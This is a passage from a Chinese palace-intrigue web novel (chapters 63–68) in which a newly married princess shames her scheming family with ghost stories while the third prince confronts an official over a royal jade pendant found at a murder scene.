王半仙慢悠悠地补充。 “第一场,隔一日。第二场,隔两日。以此类推,场场加码,直至第七场,需隔七日。这叫‘七星连环步,渡魂登天路’,其中玄妙,非外人能懂。” 裘讷:“……” 懂了,这是分期付款,还是利滚利那种。 但他还能说什么? 昨夜那诡异的哭声,阖府上下的惊恐面容,还历历在目。 跟身家性命比起来,钱财都是身外之物。 “好!”裘讷一咬牙:“就依大师所言!” “善。”王半仙满意地点点头,从怀里掏出一张皱巴巴的黄纸:“这是第一场法事需要准备的物什,大人照着采买便是。明日此时,老夫会再登门。” 说完,他将黄纸往桌上一放,便背着手,施施然地走了。 深藏功与名。 只留下裘讷一人,对着那张单子和那二十一万两的巨额开销,心疼得肝都颤了。 *** 与此同时,永安侯府的朱漆大门前,三皇子府的马车缓缓停下。 安槐由小喜扶着,款步下车。 抬头看着“永安侯府”四个烫金大字,她没什么感觉。 管家王伯带着一众下人迎了出来。 “恭迎王妃回府。” 声音不大不小,恭敬里透着疏离。 安槐淡淡“嗯”了一声,算是回应。 黎四黎五抬着那几样“精心挑选”的回门礼跟在后面。 一个眼尖的婆子,眼神往礼盒上瞟了一眼,嘴角的笑意僵了僵。 那包装,怎么看怎么寒酸。 三皇子府,就这么不待见这位新王妃? 而且新妇回门,三皇子也没跟着? 一时间,下人们交换着心照不宣的眼神,对安槐的轻视又多了几分。 安槐将这一切尽收眼底,唇角勾起一抹微不可查的弧度。 她要的就是这个效果。 踏入正厅,永安侯和侯夫人已经坐在主位上。 一个面色威严,一个满脸憔悴。 安槐上前,不咸不淡地行了个礼。 “女儿见过父亲,母亲。” 侯夫人精神不济,十分憔悴,不冷不热的开口。 “还知道回来?我还以为你当了王妃,就忘了自己姓什么了。” 安槐也不生气。 “母亲说笑了。三朝回门是规矩,女儿不敢忘。” 她示意黎四黎五将礼物呈上。 “这是殿下和女儿的一点心意,还请父亲母亲笑纳。” 王伯上前揭开礼盒。 一套表面发黑的银茶具。 一盒干瘪的像木柴的人参。 一块成色浑浊的玉如意。 第64章 折骨,做侧妃就好 整个正厅,陷入了一片死寂。 空气中弥漫着尴尬的气息。 永安侯的脸,黑得像锅底。 侯夫人的手捏紧了茶杯,指节泛白,气得胸口上下起伏。 这是回门礼? 这是上坟烧的纸糊的吧! 这是赤裸裸的羞辱! “安槐!”侯夫人沉下脸来:“你这是什么意思?三皇子就是这么教你孝敬长辈的?” 安槐一脸无辜。 “母亲息怒。殿下日理万机,回门礼是女儿亲自操持的。” 她顿了顿,眼神扫过那几样礼品,真诚地说:“礼轻情意重。女儿想着,侯府什么山珍海味、金银玉器没见过?送这些俗物,反倒落了下乘。不如送些实用的,表达一下女儿的孝心。” 柳嬷嬷站在一旁,眼观鼻,鼻观心。 王妃这番话,杀伤力不大,侮辱性极强。 侯夫人的脸一阵青一阵白,指着安槐“你你你”了半天,一口气没上来,剧烈地咳嗽起来。 “夫人!”旁边的嬷嬷赶紧上前为她顺气。 安槐这才注意到,侯夫人的脸色不是一般的差,眼窝深陷,眼下一片乌青,精神萎靡到了极点。 “母亲这是怎么了?可是昨夜没睡好?” 不提还好,一提这个,侯夫人像是被踩了尾巴的猫,浑身一哆嗦。 “别……别提了!”她声音发颤,眼神惊恐地四下张望:“昨晚……昨晚我看见了……好多小人……” “小人?”永安侯皱眉喝道:“胡说八道什么!不过是做了个噩梦,大白天的,说这些疯话!” “不是噩梦!”侯夫人激动地抓住他的袖子:“我看得真真切切!就在床边,一群穿着红衣服的小人,围着我跳……还冲我笑……” 她说着,忍不住打了个寒战。 周围的下人面面相觑,都当她是魔怔了。 安槐却眯起了眼睛。 侯夫人看到了呀? 看到就对了。 她的镇魂符就管一天,婚礼结束,符纸失效。 被侯夫人害死的那些孩子,可不得闹吗? 还有的闹呢。 正思忖间,一道娇滴滴的声音从门外传来。 “姐姐回来了?” 话音未落,一个身穿粉色云锦长裙的少女,娉娉婷婷地走了进来。 正是安明珠。 她今日显然是精心打扮过的,妆容精致,环佩叮当,一张脸如出水芙蓉,楚楚动人。 她一进来,眼睛就像雷达一样,在厅里扫了一圈。 没看到那个让她心心念念的身影,她眼里的光芒瞬间黯淡了下去。 三殿下……没来? 她的目光落在安槐身上,上上下下地打量。 预想中那个形容憔悴、满身伤痕的安槐并没有出现。 眼前的女人,一身鸦青色长裙,衬得肌肤胜雪,眉眼间带着一股说不出的清冷和矜贵,气色好得仿佛能掐出水来。 哪里像是嫁给了传说中那个会吃人的活阎王? 分明是……过得比在侯府还滋润! 安明珠的心里,顿时像被一百只蚂蚁啃噬一样,又酸又妒。 凭什么? 那个疤脸煞神,怎么可能对安槐这么好? 她忽然想起府里这几日的鸡飞狗跳,再看看安槐这副容光焕发的模样,一股强烈的悔意涌上心头。 早知道三皇子不是传言中那样,这份天大的荣宠,本该是她的! “姐姐。”安明珠换上一副关切的笑脸,亲热地走上前,想去拉安槐的手:“你在王府……一切都好吧?殿下他人……待你如何?” 安槐不动声色地避开她的触碰。 “挺好的。殿下公务繁忙,就不劳妹妹挂心了。” 这疏离的态度,让安明珠脸上的笑差点挂不住。 她咬了咬唇,将安槐拉到一旁,压低了声音,一副为她着想的姐妹情深模样。 “姐姐,我知道,你替我嫁过去,受委屈了。” 安槐挑眉,好整以暇地看着她。 哦?大戏要开场了? “妹妹思来想去,心里实在是过意不去。” 安明珠说着,眼眶就红了,泫然欲泣。 “都是我不好,才让姐姐受这番苦楚。” “所以呢?” 安槐没什么耐心地问。 “所以……”安明珠深吸一口气,像是下了天大的决心,一脸悲壮地说:“姐姐,我去跟爹娘说,我也嫁过去陪你!” 安槐:“?” 她怀疑自己的耳朵出了问题。 安明珠见她不说话,以为她被自己的“深情厚谊”感动了,继续道:“我知道,王妃之位已经是你的了,我不能跟你争。” “我委屈一点,做个侧妃就好。” “这样,我们姐妹二人同嫁一夫,在王府里也能有个照应,爹娘也放心。姐姐,你看我这个主意好不好?” 她说完,一脸期待地看着安槐,仿佛在等着她感激涕零的答应。 空气,再一次凝固了。 柳嬷嬷和小喜的下巴都快掉到了地上。 见过不要脸的,没见过这么不要脸的。 安槐静静地看着她,看了足足三秒。 然后,她笑了。 不是冷笑,不是嘲笑,而是发自内心的,觉得可笑。 “安明珠。” 她缓缓开口,声音清清冷冷,像山巅的雪。 “你脑子里的水,是月亮河涨潮了吗?” 安明珠的脸色瞬间涨成了猪肝色。 “姐姐,你……你怎么这么说我?我这都是为了你好!” “为我好?”安槐的笑意更深了:“为我好,就是让我去跟我的夫君说,请他纳你为妾?” “你觉得,是我疯了还是你疯了?” “我……” 安明珠被堵得哑口无言。 安槐收起笑容,眼神骤然变冷。 “想做三皇子府的侧妃?” “可以啊。” 她向前一步,凑到安明珠耳边,用只有两人能听到的声音,一字一句地说: “你去求他。” “跪在三皇子府门口求。” “说不定殿下心一软,就收了你。” “不过我得提醒你一句。” 安槐直起身,居高临下地看着她。 “他府里的门槛,有点高。” “专绊那些,脑子不清醒的。” “而且,三皇子脾气可不好,刀还很快。” “说不定看见你一烦,一刀就把你砍了。” “你说,爹娘会为了你,和三皇子撕破脸吗?” 第65章 折骨,看你的榜样 安明珠整个人都僵住了。 那双水盈盈的眸子里,写满了不敢置信。 她听到了什么? 跪下? 求他? 一刀砍了? 这还是那个在庄子里任人欺负,连大声说话都不敢的安槐吗? 她是在跟自己说话?用这种命令、嘲讽、甚至可以说是……威胁的语气? 屈辱和愤怒像是烧红的铁水,瞬间从脚底板冲上天灵盖。 “安槐!你放肆!” 安明珠的声音尖利得像要划破人的耳膜。 “你算个什么东西!不过是替我嫁过去的一个贱人!如今攀上了高枝,就敢这么对我说话了?” 她自幼在侯府众星捧月,何曾受过这等气? 骄纵惯了的二小姐,此刻彻底撕下了那副姐妹情深的虚伪面具,露出了被宠坏的、刻薄的本来面目。 “我告诉你,三皇子府的侧妃之位,我要定了!你若识相,就乖乖去殿下面前替我美言几句,否则……” 她伸出保养得宜的纤纤玉指,几乎要戳到安槐的鼻子上。 “我让你在王府里待不下去!” 安槐静静地看着她,眼神里连一丝波澜都没有。 像是在看一个……跳梁小丑。 “说完了?”她问。 “你!” 安明珠气得浑身发抖。 “说完,就闭嘴。” 安槐的声音很轻,却带着一种不容置喙的冰冷。 安明珠被她那双深不见底的眸子看得心头一颤,但随即,更大的怒火涌了上来。 她居然被这个野丫头给吓住了? “反了你了!” 安明珠尖叫一声,扬手就朝安槐的脸扇了过去。 这一巴掌,她用了十成的力气,打定了主意要给这个不知天高地厚的姐姐一个教训。 然而,她的手腕在半空中,被一只更纤细,却也更有力的手给截住了。 安槐扣着她的手腕,力道不大,却让她动弹不得。 “妹妹,”安槐的唇角缓缓勾起,那笑意却未达眼底:“在三皇子府,没人教过我挨打要站稳。” “他们只教了我一件事。” “谁伸手,就剁了谁的爪子。” 话音落下的瞬间。 “啪——!” 一声清脆响亮的耳光,响彻整个正厅。 不是安槐的手。 是安槐抓着安明珠自己的手,狠狠地扇在了安明珠自己的脸上。 力道之大,让安明珠整个人都懵了。 她踉跄着后退两步,一屁股跌坐在地上,白皙的脸颊上迅速浮起一个鲜红的五指印。 空气,第三次凝固了。 所有下人都惊得倒吸一口凉气。 王妃……王妃竟然当着侯爷和夫人的面,打了二小姐! 不,是让二小姐自己打了自己! 这操作,属实有点高端。 “啊——!” 短暂的死寂后,安明珠爆发出惊天动地的哭嚎。 她捂着脸,像是受了天大的委屈,坐在地上撒泼打滚。 “爹!娘!你们看她!她打我!” “她疯了!这个贱人她疯了!” 侯夫人终于从震惊中回过神来,一颗心疼得像是被揪住了一样。 那可是她从小捧在手心里长大的宝贝女儿啊! “安槐!”侯夫人“霍”地一下站起来,指着安槐的手都在发抖:“你这个孽障!你……你竟敢对你妹妹动手?” 永安侯的脸色也阴沉得能滴出水来,一拍桌子,怒喝道:“混账东西!还不给你妹妹道歉!” 安槐连眼皮都没抬一下。 她慢条斯理地从袖中取出一块帕子,仔仔细细地擦了擦刚才碰过安明珠的手,仿佛那是什么脏东西。 然后,她将帕子随手丢在地上。 那轻飘飘的动作,比一记耳光更具侮辱性。 “道歉?” 她终于抬眼,看向主位上那两个气急败坏的“亲人”,眼神里带着一丝怜悯。 “父亲,母亲。” “女儿有一事不明,想请教二位。” 她的语气平静得可怕,完全不像一个刚刚动完手的人。 “你们是觉得,安明珠这张脸,比三皇子殿下的脸面,还重要吗?” 永安侯和侯夫人同时一愣。 安槐的声音不疾不徐,缓缓在厅中散开。 “她方才,口口声声骂我是贱人。” “我如今,是圣上亲封的三王妃。” “她骂我,与骂三皇子何异?与骂皇室何异?” “还是说,在侯爷和夫人眼里,我永安侯府,已经可以凌驾于皇权之上了?” 一顶天大的帽子,就这么轻飘飘地扣了下来。 永安侯的额角瞬间渗出了冷汗。 他可以不在乎一个女儿的死活,但他不能不在乎整个侯府的前程。 “你……你这是强词夺理!”侯夫人色厉内荏地反驳。 “哦?”安槐挑眉,“那我们现在就进宫,去面见圣上,让圣上评评理。” “看看是姐妹口角重要,还是皇家颜面重要。” “你!” 侯夫人被噎得死死的,一口气堵在胸口,上不去也下不来。 安槐不再理会他们,目光转向还在地上哭闹的安明珠,眼神冷得像冰。 “起来。” 安明珠哭声一顿,抬头怨毒地看着她。 “别让我说第二遍。” 那声音里蕴含的杀气,让安明珠没来由地打了个冷战。 她下意识地就想从地上爬起来。 安槐却话锋一转,看向面色惨白的侯夫人,忽然问了一个风马牛不相及的问题。 “母亲,您知道太子太傅,裘讷裘大人府上,出事了吗?” 侯夫人一怔,没明白她为什么突然提起这个。 “裘府?”永安侯皱眉:“裘太傅乃太子师,深受器重,能出什么事?” 安槐唇角微勾,露出一抹诡异的笑容 “也没什么大事。” “就是昨夜,裘府上下,百十口人,全都听见了一种奇怪的声音。” 她故意停顿了一下,满意地看到侯夫人的呼吸都屏住了。 “鬼哭。” 安槐轻轻吐出两个字。 “轰”的一声,像是一道惊雷在侯夫人脑中炸开。 鬼哭? 她瞬间想起了昨夜的噩梦,想起了那些围着她跳舞的、穿着红衣服的小人,想起了那一声声若有似无的嬉笑…… 那不是梦! 是真的! 她的脸“唰”地一下变得惨白,毫无血色。 “听说,是个婴孩的哭声。”安槐幽幽地补充道,目光像是能穿透人心,直直地钉在侯夫人的眼睛里。 “哭声凄厉,怨气冲天。” “裘府请了京城最有名的王半仙去看,王半仙说……” “府里,有血债。” “是冤魂索命来了。” “不……不可能……”侯夫人不受控制地喃喃自语,身体开始剧烈地颤抖。 安槐欣赏着她的恐惧,继续不紧不慢地往上加码。 “王半仙还说了,这只是个开始。” “若不化解,那冤魂会一个个地,找上当年害了它的人。” “先是夜夜啼哭,扰你心神。” “再是入你梦魇,让你惊恐。” “最后……” 安槐的声音陡然压低,像恶魔的低语。 “取你性命。” 第66章 折骨,借刀杀人 “啊——!” 侯夫人再也承受不住这巨大的恐惧,尖叫一声,两眼一翻,竟直挺挺地晕了过去。 “夫人!” “快!快叫大夫!” 正厅里顿时乱作一团。 安槐冷眼看着这一切,像一个置身事外的看客。 她走到还在发愣的安明珠面前,弯下腰,用只有她们两人能听到的声音说: “妹妹,想活命,就安分点。” “不然,下一个听见鬼哭的,就是你的芳菲院。” 说完,她直起身,理了理衣袖。 “时辰不早了,女儿告退。” 她对还处于震惊中的永安侯微微颔首,然后带着小喜和黎四黎五,在一片混乱中,施施然地转身离去。 身后,是安明珠惊恐万状、面无人色的脸。 *** 此时,太子太傅府。 府门外一改往日的肃静,竟排起了长龙。 几口大锅架在门口,热气腾腾,米香四溢。 裘府的下人们正满脸“真诚”地给排队的流浪汉和穷苦百姓施粥。 “各位乡亲父老,慢慢来,不要挤!” “这是我们家老爷体恤百姓,特设的善堂,以后天天都有!” 百姓们千恩万谢,赞扬裘大人仁善的声音不绝于耳。 一辆华贵的马车在不远处停下,太子靳从行一身常服,从车上走了下来。 他看着眼前这“盛况”,眉头微不可查地皱了皱。 裘讷是他的老师,裘家女儿更是他的正妃,裘府的一举一动,他都了如指掌。 裘讷此人,不能说为富不仁,但也绝不是什么乐善好施的大善人。 捐二十万两设善堂? 太阳打西边出来了? “殿下。” 管家早已得了消息,匆匆迎了出来。 “老爷在书房等您。” 靳从行点点头,绕过人群,进了府。 书房内,裘讷一脸肉痛地坐在椅子上,眼窝深陷,像是几天没睡好。 “臣,参见太子殿下。” “岳父免礼。”靳从行摆了摆手,开门见山地问:“外面是怎么回事?” 裘讷脸上闪过一丝尴尬,将王半仙那套说辞,连同昨夜的诡异婴啼,原原本本地说了一遍。 当然,关于秦柔和裘似的那段龌龊,他自动隐去了,只说是府里冲撞了什么不干净的东西。 靳从行听完,沉默了片刻。 他端起茶杯,轻轻吹了吹浮沫。 “鬼神之说,子不语怪力乱神。太傅是读圣贤书的人,也信这个?” 裘讷苦笑一声:“殿下,臣也不想相信。” “可昨夜,那哭声……阖府上下都听见了,绝非一人幻听。” “臣也是没办法,宁可信其有,不可信其无啊!” 靳从行放下茶杯,手指在桌面上轻轻敲击。 他自然不信什么鬼神。 整个裘府都听见了? 要么是集体癔症,要么,是有人在装神弄鬼。 后者的可能性更大。 但无论如何,现在不是追究这个的时候。 “也罢。”靳从行缓缓开口:“破财消灾罢了。” “我朝以仁孝治天下,太傅此举,也算是为朝廷分忧,为百姓造福。传出去,对你的官声,对本宫的声誉,都有好处。” “这二十万两,就当是……买个名声了。” 他话说得轻巧。 钱财乃身外之物。 对于他们这种站在权力顶端的人来说,只要权势在手,钱,随时都会有。 裘讷听太子这么说,心里总算好受了点。 是啊,就当是买名声了。 虽然这个名声,买得有点贵。 “殿下说的是。” “行了,让下人把门关好。”靳从行挥了挥手。 管家会意,立刻出去,将书房的门从外面紧紧关上。 书房内的气氛,瞬间变了。 方才的君臣和睦消失不见,取而代之的是一种阴沉的凝重。 “说吧。”靳从行脸色冷了下来:“到底是怎么回事?” 裘讷的脸色也变得极为难看,他压低了声音,一字一顿地说:“殿下,臣怀疑……是三年前的事情,被人翻出来了。” “三年前?” 靳从行的瞳孔猛地一缩。 那个词,像是一根针,精准地刺入了他最敏感的神经。 “你是说……” “殿下可知京中连续出现三具离奇死亡案件?”裘讷面露忧色,“如今三起命案,都落在了三皇子手里。” “老三?” 靳从行嘴角勾起一抹不屑的弧度。 “他一个从边城回来的病秧子,脸上还带着道疤,人不人鬼不鬼的,能查出什么来?” 在靳从行眼里,他这个三弟靳朝言,就是个笑话。 母妃早逝,外家无势,自小被扔去边城自生自灭。 如今虽然回了京,领了个京兆尹的虚职,但身子骨早就被边城的风霜掏空了,听说活不了多久了,所以父皇才着急要给他娶妻冲喜。 这样的人,拿什么跟他争? “话虽如此……”裘讷还是有些不放心,“可这几人死法太过离奇,又都是和当年事件有牵扯的人,三皇子已经查到了万贤山庄。如今京中人心惶惶。” “臣担心,万一……万一他查到了什么蛛丝马迹,牵扯到咱们……” 靳从行眼神一寒。 “他敢。” 他可以看不起靳朝言,但绝不容许任何人,哪怕是他的亲弟弟,威胁到他的储君之位。 “他若安分守己,本宫可以容他当个富贵闲王,安度余生。” “他若是不知死活,非要伸长了手,来碰不该碰的东西……” 靳从行做了个“咔嚓”的手势,眼中杀机毕现。 “本宫不介意,亲手帮他把爪子剁了。” 裘讷心中一凛,不敢再多言。 书房里沉默了片刻。 靳从行忽然想到了什么,嘴角浮现出一抹阴狠的笑意。 “不过,他的身份,倒也不是一无是处。” 裘讷抬头:“殿下您的意思是?” “本宫那几位好兄弟,最近可都不太安分。尤其是老二,上蹿下跳,着实碍眼。” 靳从行慢悠悠地说。 “与其让老三闲着,不如……给他找点事做。” “让他去咬人,岂不是一出好戏?” 借刀杀人。 让靳朝言去当那把刀,去对付他们的政敌。 无论成败,对他们来说,都是有利无害。 成了,除了心头大患。 败了,死的也是靳朝言,正好少一个兄弟分家产。 裘讷的眼睛亮了。 “殿下英明!” “这盘棋,该怎么下,就看咱们怎么引导了。” 靳从行端起茶杯,一切尽在掌握。 他正要和裘讷商议具体细节。 “叩叩叩。” 书房的门被敲响了。 “进来。”靳从行有些不悦。 管家推开一条门缝,探进头来,脸上带着一丝古怪的表情,小心翼翼地通报。 “殿下,太傅大人……” “三皇子殿下,登门拜访。” 第67章 折骨,笑比哭难看 管家那一声通报,音量不大,但确实让两人都愣了一下。 空气,第四次凝固了。 裘讷脸上的肉眼可见地抽搐了一下。 太子靳从行端着茶杯的手,也是一个微不可查的僵硬。 背后说人坏话,被正主堵在了门口。 这是一种什么样的体验? 略有尴尬。 尤其是太子。 他前一秒还在意气风发,指点江山,说要把老三当刀使,剁了爪子。 后一秒,这把“刀”就自己送上门来了。 还带着一股子要见血的锋锐之气。 “咳。” 靳从行最先反应过来,他优雅地放下茶杯,脸上那抹阴狠的杀机瞬间收敛得干干净净,又恢复了储君温润如玉的派头。 “三皇子上门,理应要迎。你去吧,不用管孤。” 他站起身。 意思很明确:你顶上,我走了。 裘讷起身恭送:“是,臣恭送殿下。” 他心里清楚,太子此刻确实不宜与靳朝言碰面。 陛下重情,看重兄友弟恭,又对在边关为他守了十年边界的靳朝言心有愧疚,自然不能针对。 书房有侧门,通往后花园。 靳从行脚底抹油,溜得比谁都快,眨眼间就没了人影,只留下一句轻飘飘的嘱咐。 “太傅,好生招待三弟。” 招待? 我招待他八辈祖宗! 裘讷在心里咆哮,脸上却已经堆起了职业假笑,整理了一下官袍,亲自快步往府门外迎去。 *** 裘府门外,依旧是人声鼎沸。 施粥的善棚热气蒸腾,将米香和药味混合在一起,形成一种奇异的、属于“仁善”的味道。 靳朝言就站在这片“仁善”的气息里。 他一身玄色锦袍,身形颀长,金冠束发,面容冷峻。 那道从眉骨延伸至脸颊的疤痕,非但没有破坏他的俊美,反而为他平添了几分生人勿近的戾气。 他就那么静静地站着,仿佛一尊来自九幽的杀神,与周围这片感恩戴德、其乐融融的景象格格不入。 他看着门口那几个硕大的善棚,眼神里没有半分波澜。 看来,裘讷昨晚,是真的吓破了胆。 二十万两。 买个心安。 真是好大的手笔。 一个刚领了粥的老汉,满脸皱纹都笑开了花,对着裘府的下人千恩万谢。 “裘大人真是活菩萨啊!我们这些没饭吃的,可算是有活路了!” “是啊是啊,不仅有粥喝,那边还有大夫免费看病赠药,真是天大的恩德!” 前来领粥领药的百姓拼了命地道。 然而,负责施粥赠药的裘府下人们,脸上却没有多少与有荣焉的骄傲表情。 一个个的,都苦着一张脸。 嘴角挂着标准化的、皮笑肉不笑的弧度,机械地重复着:“应该的,应该的,都是我们老爷心善。” 那表情,那姿态,活像是刚被东家扣了三个月工钱,还被迫出来加班做慈善的社畜。 不知道的,还以为这二十万两不是裘讷出的,而是从他们这些下人的月钱里众筹的。 苦不堪言苦不堪言啊。 靳朝言的嘴角,勾起一抹若有似无的讥讽。 “三殿下驾到,有失远迎,恕罪恕罪!” 裘讷一路小跑,终于赶到了门口,隔着老远就拱起了手,脸上堆满了热情的笑。 “殿下怎么有空到老臣这儿来了?快,里边请。” 他一边说,一边不动声色地想将靳朝言往府里引,试图远离这片大型“破财消灾”现场。 靳朝言却没动。 他侧过身,目光淡淡地落在裘讷那张笑成一朵菊花的老脸上。 “裘大人,”他开口,声音冷得像冰:“府上……很热闹啊。” 裘讷的笑容僵了一下。 他能怎么说? 说自己做了亏心事,被鬼缠上了,花钱买平安? 他不要面子的吗? “咳咳,殿下见笑了。”裘讷老脸一红,强行解释道:“这是老臣应该做的,也算是为圣上分忧,为朝廷祈福。” 这话说得,那叫一个大义凛然,感人肺腑。 “哦?”靳朝言眉梢微挑,“是吗?那本王今日倒是来得巧了。” 他对着身后的诸元递了个眼色。 诸元会意,从怀中捧出一个锦盒,上前一步,打开。 锦盒内,静静地躺着一件东西。 那是一块上好的和田暖玉雕成的麒麟佩,玉质温润,色泽澄亮,雕工更是巧夺天工,麒麟的鳞甲鬃毛都栩栩如生,一看便知非凡品。 更重要的是,这玉佩的样式,是宫中造办处的独有手笔。 裘讷的瞳孔,在看到这块玉佩的瞬间,猛地一缩。 “裘大人可还认得此物?”靳朝言的声音不疾不徐。 裘讷的心,咯噔一下。 怎么可能不认得! 这……这不是去年中秋宫宴,圣上龙心大悦,赏给自家那个不成器的小儿子裘似的御赐之物吗! 当时他还千叮咛万嘱咐,让裘似好生保管,不可遗失,不可损毁,更不可示于人前。 这东西,怎么会到了靳朝言手里? “本王记得,这玉佩,乃是宫中之物。” 靳朝言仿佛没看到裘讷瞬间煞白的脸色,继续慢悠悠地说道。 “本王查了一下起居注。” “去年中秋,父皇将此佩,赐给了令郎,裘似。” 每一个字,都像一把小锤子,敲在裘讷的心上。 裘讷喉头滚动,艰难地挤出一句话:“殿下……殿下这是何意?小儿的玉佩,为何会在您……” 他的话没说完。 因为靳朝言接下来的话,让他如坠冰窟。 “裘大人想知道,这块玉佩,是在哪里找到的吗?” 靳朝言的目光,像两把淬了毒的利刃,死死地钉在裘讷身上。 他一字一顿,清晰无比地吐出几个字。 “回春堂。” “药铺后院的……密室里。” 轰! 裘讷只觉得一道天雷在脑子里炸开,震得他头晕眼花,险些站立不稳。 回春堂! 全修锦! 那个死在自家药铺里的赘婿! 折骨案的第三个死者! 自己儿子的御赐玉佩,为什么会出现在一个死人的密室里? 这下麻烦了。 这是裘讷脑子里唯一的念头。 他强撑镇定:“怎么会如此?实在奇怪了。” 靳朝言的语气里,没有丝毫温度。 “全修锦被害一案,京兆府在搜查回春堂时,不仅发现了这块玉佩。” “还发现了一批……禁药。” “以及,一整箱来路不明的金银珠宝。” “裘大人,御赐之物,出现在藏着禁药和赃款的杀人现场。” 靳朝言微微倾身,靠近裘讷,声音压得极低,却字字诛心。 “你说,本王该不该来找令郎,好好问一问?” “问问他,这御赐的宝贝,为何会出现在回春堂的密室里?” “莫非,令郎也是那里的常客?” “也买过……禁药?” 裘讷的脸色有些绷不住了。 心里狠狠骂了裘似一顿。 这成事不足,败事有余的东西。 御赐之物,等同于天子亲临。 遗失,是大不敬。 抵押,是蔑视皇恩。 如今,这东西更是跟命案、禁药、赃款搅和在了一起。 他知道自己那个小儿子荒唐,吃喝嫖赌,无一不精。 可他万万没想到,他能荒唐到这个地步! 能把自己的脑袋,连同整个裘家的脑袋,一起拴在裤腰带上,满世界裸奔! “殿下!殿下!此事定有误会!” 靳朝言语气依旧冰冷。 “本王今日,只是奉命办案。” “带路吧。” “本王要见裘似。” 第68章 折骨,真疯假疯 裘讷只好带路。 他想拦,却找不到任何理由。 他想拖,却不敢在三皇子面前耍花样。 这个从边城回来的三殿下,身上那股子血腥味和煞气,比京城里任何一个纨绔子弟都来得真实。 裘讷毫不怀疑,如果自己再敢多说一句废话,他会立刻下令,让京兆府的人冲进来抄家。 穿过庭院,绕过回廊,一行人很快来到了裘似居住的“清风小筑”。 院门紧闭。 还未走近,就闻到一股浓烈的、刺鼻的药味。 “开门。”靳朝言下令。 守在门口的两个小厮面露难色:“太傅大人,殿下……公子他……他正在歇息……” “滚开!” 裘讷此刻心急如焚,哪里还有平日里太傅的威仪,一脚踹开一个,亲自推开了房门。 “吱呀——” 房门打开。 一股更加浑浊、混杂着药味、熏香味甚至还有一丝秽物味道的气息,扑面而来。 房间里光线昏暗,窗户都被厚厚的帘子遮得严严实实。 一个穿着锦衣的年轻男子,正蜷缩在床榻的角落里,抱着被子,瑟瑟发抖。 他头发散乱,双目无神,眼窝深陷,嘴里还念念有词,不知道在嘟囔些什么。 这便是裘讷的小儿子,裘似。 往日里那个鲜衣怒马、斗鸡走狗的裘家二公子,此刻看起来,竟像是一个……疯子。 只过了一夜啊,昨日他出门时,裘似还是那个意气风发的少爷。 “似儿!” 裘讷冲了过去,一把抓住他的肩膀:“似儿!你醒醒!你看看爹!” 裘似被他摇晃着,眼神却依旧涣散,他像是看到了什么极其恐惧的东西,猛地尖叫起来。 “别过来!别过来!” “血……好多血……” “孩子……孩子在哭!你们听不见吗!他在哭啊!” 他双手抱着头,拼命地往墙角缩去。 裘讷的心,彻底沉了下去。 他知道,儿子这是被吓破了胆。 从那晚听见婴啼之后,他就变成了这副模样。 原本,他还指望着花钱设善堂,做几场法事,能把这“冤魂”送走。 可现在…… 靳朝言来了。 带着那块催命的玉佩来了。 一个念头却如闪电般划过裘讷的脑海。 疯了? 对! 疯了! 既然已经疯了,那索性就让他疯得更彻底一点! 裘讷眼中闪过一丝决绝。 他猛地转过身,对着靳朝言,老泪纵横。 “殿下!您……您都看到了!” 他指着在床上瑟缩发抖的裘似,声音悲怆。 “小儿他……他自从昨日受了惊吓,就……就神志不清了!其实他之前精神就有些问题,只是偶尔发作,并不明显,所以外人才不知罢了。” “他现在就是个疯子啊!” 破罐子,就得破摔! “一个疯子,他说的话怎么能信?他做的事又怎么能当真?” “那玉佩……那玉佩定然是他疯病发作时,不小心遗失的!” 裘讷的演技,在这一刻达到了顶峰。 他声泪俱下,将一个为疯癫儿子心碎的老父亲形象,演绎得淋漓尽致。 遗失御赐之物,固然也是不敬之罪。 但和一个“神志不清”的疯子比起来,罪过就小多了。 毕竟,谁会跟一个疯子计较? 圣上就算知道了,最多也就是斥责他教子无方,看在他劳苦功高的份上,不至于为了一个疯子的无心之失,就降下重罚。 说不定,看在他儿子都疯了的份上,还会赏赐些药材,安抚一二。 这,是眼下唯一的,也是最好的破局之法! 靳朝言静静地看着裘讷的表演,面无表情。 他的目光,越过痛哭流涕的裘讷,落在了那个蜷缩在床角的裘似身上。 裘似还在发抖。 抖得很厉害。 他爹在装疯,他可不是装疯。 他没准是真疯了。 但,那种抖动,却有些……诡异。 他的手腕,以一个极其不自然的角度扭曲着。 他的脚踝,似乎也开始向着奇怪的方向弯折。 那不是恐惧的颤抖。 那更像是……骨骼在错位。 虽然现在还不明显,常人根本看不出来。 靳朝言终于收回了目光,看向还在卖力表演的裘讷。 他什么都没说。 没有质问,没有反驳,甚至没有戳穿。 他只是用一种近乎怜悯的眼神,看着这个自作聪明的老臣。 然后,他转身,离去。 只留下一句冰冷的,不带任何感情的话。 “好自为之。” 这件事情,才刚刚开始。 裘讷看着靳朝言离去的背影,愣在了原地。 这就……走了? 他不追究了? 他信了? *** 永安侯府。 安槐带着丫鬟前脚刚走,后脚整个正厅就陷入了一种死一般的寂静。 地上,还躺着一块被安槐丢弃的、擦过手的帕子。 主位上,永安侯的脸色铁青,侯夫人则刚刚被丫鬟婆子们手忙脚乱地掐着人中,悠悠转醒。 她一醒过来,就抓住永安侯的袖子,眼神里满是惊恐。 “侯爷!侯爷!鬼哭……她说的是真的!” “咱们府里到底被什么脏东西缠上了?” 永安侯此刻也是心乱如麻。 他既恼怒于安槐的顶撞,更恐惧于她话语里透露出的信息。 裘府,真的闹鬼了? 还是婴孩的哭声? 这天底下,哪有这么巧合的事情! “来人!” 永安侯一拍桌子,对着门外吼道。 管家王伯连滚带爬地跑了进来:“侯爷,您有何吩咐?” “你!立刻!带几个人,去太子太傅府的门口瞧瞧!” 永安侯的声音都在发颤。 “去看看,他们家门口,是不是……是不是真的在……” 他想说“设善堂”,但那几个字就像是烙铁,烫得他说不出口。 “是!是!老奴这就去!” 王伯不敢耽搁,领着两个机灵的小厮,飞也似的跑了。 剩下的时间,是漫长的煎熬。 侯夫人坐立不安,嘴里不停地念叨着“阿弥陀佛”。 永安侯则在厅中来回踱步,每一步都踩得地板咯吱作响,也踩得人心惶惶。 一旁,被吓傻了的安明珠,也早已忘了哭闹,她呆呆地坐在地上,脑子里一遍又一遍地回响着安槐离开前的那句话。 “下一个听见鬼哭的,就是你的芳菲院。” 芳菲院…… 她的芳菲院…… 一想到那凄厉的婴啼可能会在自己的院子里响起,安明珠就吓得浑身发抖,脸色惨白如纸。 不知过了多久,就在这压抑的气氛快要将人逼疯的时候,王伯回来了。 他跑得满头大汗,上气不接下气,一进门就扑倒在地。 “侯……侯爷!夫人!” 永安侯一把将他从地上拽起来:“快说!看到了什么!” 